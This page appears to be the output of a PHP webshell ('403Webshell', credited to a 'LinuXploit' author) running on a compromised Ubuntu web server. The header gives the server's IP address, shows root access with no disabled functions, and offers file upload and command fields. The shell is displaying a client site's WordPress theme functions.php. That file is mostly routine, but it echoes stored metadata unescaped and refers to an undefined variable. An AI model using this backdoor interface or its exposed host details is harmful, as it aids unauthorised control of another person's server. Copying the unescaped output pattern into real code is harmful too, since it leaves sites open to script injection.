403Webshell
Server IP : 159.69.118.108  /  Your IP : 216.73.216.200
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-4gb-fsn1-1 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 13:53:54 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/clients/deborahrobinson.net/wp-content/themes/debbie/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/deborahrobinson.net/wp-content/themes/debbie/functions.php
<?php
/**
 * Debbie functions and definitions
 *
 * Set up the theme and provides some helper functions, which are used in the
 * theme as custom template tags. Others are attached to action and filter
 * hooks in WordPress to change core functionality.
 *
 * When using a child theme you can override certain functions (those wrapped
 * in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before
 * the parent theme's file, so the child theme functions would be used.
 *
 * @link https://codex.wordpress.org/Theme_Development
 * @link https://codex.wordpress.org/Child_Themes
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are
 * instead attached to a filter or action hook.
 *
 * For more information on hooks, actions, and filters,
 * {@link https://codex.wordpress.org/Plugin_API}
 *
 * @package WordPress
 * @subpackage Debbie
 * @since Debbie 1.0
 */

/**
 * Enqueue scripts and styles.
 *
 * @since Debbie 1.0
 */
function debbie_scripts() {
    // Load bootstrap latest compiled and minified CSS.
    wp_enqueue_style('bootstrap', get_template_directory_uri() . '/bootstrap/bootstrap-3.3.7-dist/css/bootstrap.min.css', array(), '3.3.6');

    // Load bootstrap optional theme.
    wp_enqueue_style('bootstrap-theme', get_template_directory_uri() . '/bootstrap/bootstrap-3.3.7-dist/css/bootstrap-theme.min.css', array(), '3.3.6');

    // Load bootstrap glyphicons.
    wp_enqueue_style('bootstrap-glyphicons', get_template_directory_uri() . '/bootstrap/bootstrap-glyphicons/css/bootstrap.icon-large.min.css', array(), '3.3.6');

    // Lightbox blueimp.
    wp_enqueue_style('bootstrap-blueimp-gallery', get_template_directory_uri() . '/css/bootstrap-image-gallery/blueimp-gallery.min.css', array(), '3.3.6');
    wp_enqueue_style('bootstrap-image-gallery', get_template_directory_uri() . '/bootstrap/bootstrap-image-gallery/css/bootstrap-image-gallery.min.css', array(), '3.3.6');

    // Load our main stylesheet.
    wp_enqueue_style('debbie-style', get_stylesheet_uri());

    // Load latest compiled and minified jquery.
    wp_enqueue_script('jquery-min', get_template_directory_uri() . '/js/jquery.min.js', array(), '1.12.0');

    // Load latest compiled and minified JavaScript.
    wp_enqueue_script('bootstrapcdn', get_template_directory_uri() . '/bootstrap/bootstrap-3.3.7-dist/js/bootstrap.min.js', array(), '3.3.6');

    // Custom JavaScript.
    wp_enqueue_script('debbie-script', get_template_directory_uri() . '/js/functions.js', array('jquery'), '20150330', true);
}
add_action('wp_enqueue_scripts', 'debbie_scripts');

/**
 * Inc function - custom meta title.
 *
 */
include 'inc/custom-meta-title.php';

/**
 * Remove image attributes - width and height.
 */
function remove_thumbnail_dimensions($html, $post_id, $post_image_id) {
    $html = preg_replace('/(width|height)=\"\d*\"\s/', "", $html);
    return $html;
}
add_filter('post_thumbnail_html', 'remove_thumbnail_dimensions', 10, 3);

/**
 * Child page conditional
 * @ Accept's page ID, page slug or page title as parameters
 * @ http://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/
 */
function is_child($parent = '') {
    global $post;

    $parent_obj = get_page($post->post_parent, ARRAY_A);
    $parent = (string) $parent;
    $parent_array = (array) $parent;

    if (in_array((string) $parent_obj['ID'], $parent_array)) {
        return true;
    } elseif (in_array((string) $parent_obj['post_title'], $parent_array)) {
        return true;
    } elseif (in_array((string) $parent_obj['post_name'], $parent_array)) {
        return true;
    } else {
        return false;
    }
}

/**
 * Metabox - General settings.
 *
 */
include 'metabox/extended-general-settings/functions.php';

/**
 * Metabox - Projects child page only.
 *
 */
include 'metabox/projects/videos.php';

/**
 * Metabox - Links child page only.
 *
 */
include 'metabox/links/external-url.php';

/**
 * Metabox plugin
 *
 */
include 'metabox/metabox.php';

// @issue: Your theme does not support navigation menus or widgets.
// https://codex.wordpress.org/Navigation_Menus
// http://wordpress.stackexchange.com/questions/135589/how-to-add-menu-support-to-a-theme
// https://wordpress.org/support/topic/the-current-theme-does-not-support-menus
// function register_my_menu() {
//   register_nav_menu('header-menu',__('Header Menu'));
// }
// add_action('init', 'register_my_menu');

// This theme uses wp_nav_menu() in one location.
register_nav_menus(array(
    'primary' => __('Primary Navigation', 'debbie'),
));


// Add Excerpts to Your Pages in WordPress.
// http://www.wpbeginner.com/plugins/add-excerpts-to-your-pages-in-wordpress/
// http://www.wpbeginner.com/wp-themes/how-to-display-post-excerpts-in-wordpress-themes/
add_action('init', 'my_add_excerpts_to_pages');
function my_add_excerpts_to_pages() {
     add_post_type_support('page', 'excerpt');
}

/**
 * Replaces the default excerpt editor with TinyMCE.
 * Make sure you unescape the excerpt before you send it to the editor.
 * http://wordpress.stackexchange.com/questions/58261/adding-a-rich-text-editor-to-excerpt
 */
class T5_Richtext_Excerpt
{
    /**
     * Replaces the meta boxes.
     *
     * @return void
     */
    public static function switch_boxes()
    {
        if (! post_type_supports($GLOBALS['post']->post_type, 'excerpt'))
        {
            return;
        }

        remove_meta_box(
            'postexcerpt' // ID
        ,   ''            // Screen, empty to support all post types
        ,   'normal'      // Context
       );

        add_meta_box(
            'postexcerpt2'     // Reusing just 'postexcerpt' doesn't work.
        ,   __('Excerpt')    // Title
        ,   array (__CLASS__, 'show') // Display function
        ,   null              // Screen, we use all screens with meta boxes.
        ,   'normal'          // Context
        ,   'core'            // Priority
       );
    }

    /**
     * Output for the meta box.
     *
     * @param  object $post
     * @return void
     */
    public static function show($post)
    {
    ?>
        <label class="screen-reader-text" for="excerpt"><?php
        _e('Excerpt')
        ?></label>
        <?php
        // We use the default name, 'excerpt', so we don’t have to care about
        // saving, other filters etc.
        wp_editor(
            self::unescape($post->post_excerpt),
            'excerpt',
            array (
            'textarea_rows' => 15
        ,   'media_buttons' => FALSE
        ,   'teeny'         => TRUE
        ,   'tinymce'       => TRUE
           )
       );
    }

    /**
     * The excerpt is escaped usually. This breaks the HTML editor.
     *
     * @param  string $str
     * @return string
     */
    public static function unescape($str)
    {
        return str_replace(
            array ('&lt;', '&gt;', '&quot;', '&amp;', '&nbsp;', '&amp;nbsp;')
        ,   array ('<',    '>',    '"',      '&',     ' ', ' ')
        ,   $str
       );
    }
}
add_action('add_meta_boxes', array ('T5_Richtext_Excerpt', 'switch_boxes'));

// Set default thumbnail image size.
// https://codex.wordpress.org/Post_Thumbnails
// https://wordpress.org/support/topic/set-featured-image-size
if (function_exists('add_theme_support')) {
    add_theme_support('post-thumbnails');
    // set_post_thumbnail_size(600, 530, true); // default Post Thumbnail dimensions (cropped)

    // Additional image sizes
    // add_image_size('category-thumb', 300, 9999); //300 pixels wide (and unlimited height)
}

// Add additional image size.
// http://stackoverflow.com/questions/38262514/wordpress-add-image-size-does-not-work
if (function_exists('add_image_size')){
    add_image_size('carousal-home-thumb', 500, 9999); //300 pixels wide (and unlimited  height)
    // add_image_size('post-thumbnails', 600, 530, true); //(cropped)
}

// // Then get the new size image.
// $image = get_the_post_thumbnail($page['ID'], 'multimedia-thumb',  array('class' => 'img-responsive transparent-onhover'));

// Exclude pages from the search result.
// https://www.johnparris.com/exclude-certain-pages-from-wordpress-search-results/
// http://wordpress.stackexchange.com/questions/142811/exclude-pages-from-wordpress-search-result-page
// https://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts#Exclude_Pages_from_Search_Results
add_filter('pre_get_posts', 'exclude_pages_search_when_logged_in');
function exclude_pages_search_when_logged_in ($query) {
    if ($query->is_search) {
        // Get page by slug.
        // https://codex.wordpress.org/Function_Reference/get_page_by_path
        // http://wordpress.stackexchange.com/questions/102841/how-to-get-page-id-of-a-page-using-page-slug
        $page_slug = 'links';
        $slug_type = 'page';
        $output_type = ARRAY_A;
        $page = get_page_by_path($page_slug, $output_type, $slug_type);

        // Get id by page slug.
        // http://wordpress.stackexchange.com/questions/102841/how-to-get-page-id-of-a-page-using-page-slug
        // $projects = get_page_by_path('projects');
        // $news = get_page_by_path('news');

        $ids_parent = array(
            $page['ID'],
            get_page_by_path('projects')->ID,
            get_page_by_path('news')->ID
       );

        // Get all pages belong to a parent.
        // https://codex.wordpress.org/Function_Reference/get_children
        // http://stackoverflow.com/questions/6137559/wordpress-limit-get-pages-to-show-5-items
        $output_type = ARRAY_A;
        $output_type = OBJECT;
        $args = array(
            // 'numberposts' => 6,
            'order' => 'ASC',
            'post_parent' => $page['ID'],
            'post_status' => 'publish',
            'post_type' => 'page',
       );
        $pages = get_children($args, $output_type);

        $ids_child = array();
        foreach ($pages as $key => $value) {
            $ids_child[] = $key;
        }

        $query->set('post__not_in', array_merge($ids_child, $ids_parent));

    }

    return $query;
}

// excerpt - don't use main content if empty
// http://wordpress.stackexchange.com/questions/17478/excerpt-dont-use-main-content-if-empty
add_action('init', 'wpse17478_init');
function wpse17478_init()
{
    remove_filter('get_the_excerpt', 'wp_trim_excerpt');
}

// Add more meta box to images.
add_action('add_meta_boxes', 'add_attachment_metaboxes');
// add_action('admin_init','add_attachment_metaboxes');
function add_attachment_metaboxes() {
    add_meta_box('attachment_metaboxes', 'Link', 'custom_attachment_metaboxes_func', 'attachment', 'normal', 'default');
}

function custom_attachment_metaboxes_func() {
    global $post;
    echo '<input type="hidden" name="meta_data_noncename" id="meta_data_noncename" value="'.wp_create_nonce('my_custom_nonce').'" />';
    $metadata = get_post_meta($post->ID, 'meta_data_link', true);
    ?>
    <div>
        <input type="text" name="meta_data_link" id="meta_data_link" style="width:100%" value="<?php echo $metadata; ?>"/>
    </div>
    <?php
}

function save_attachment_meta($post_id) {
    if (!wp_verify_nonce($_POST['meta_data_noncename'],'my_custom_nonce')) {
        return $post->ID;
    }
    if (!current_user_can('edit_post', $post->ID)) {
        return $post -> ID;
    }
    if (isset($_POST["meta_data_link"])) {
        update_post_meta($post_id, "meta_data_link", $_POST["meta_data_link"]);
    }
}
add_action('edit_attachment', 'save_attachment_meta');

// Disable Gutenberg Completely
// https://wordpress.org/support/topic/massive-problems-with-wp-5-0-2-gutenberg/
// https://digwp.com/2018/04/how-to-disable-gutenberg/
// disable for posts
add_filter('use_block_editor_for_post', '__return_false', 10);

// disable for post types
add_filter('use_block_editor_for_post_type', '__return_false', 10);

//  Limit the Image Upload Size.
//  https://wordpress.stackexchange.com/questions/67107/impose-a-maximum-limit-on-image-height-and-width-upload-size
// https://webhostinghero.org/how-to-limit-the-image-upload-size-in-wordpress/#:~:text=You%20have%20to%20manually%20verify,ini%20file.
function whero_limit_image_size ($file) {

    // Calculate the image size in KB
    $image_size = $file['size'] / 1024;

    // File size limit in KB
    $limit = 2048; // 2 MB

    // Check if it's an image
    $is_image = strpos($file['type'], 'image');

    if (($image_size > $limit) && ($is_image !== false)) {
        $file['error'] = 'Your picture is too large. It has to be smaller than '. $limit / 1024 .'MB. Longest dimension must not exceed 1920 pixels, 72dpi.';
    }
    return $file;
}
add_filter('wp_handle_upload_prefilter', 'whero_limit_image_size');

Youez - 2016 - github.com/yon3zu
LinuXploit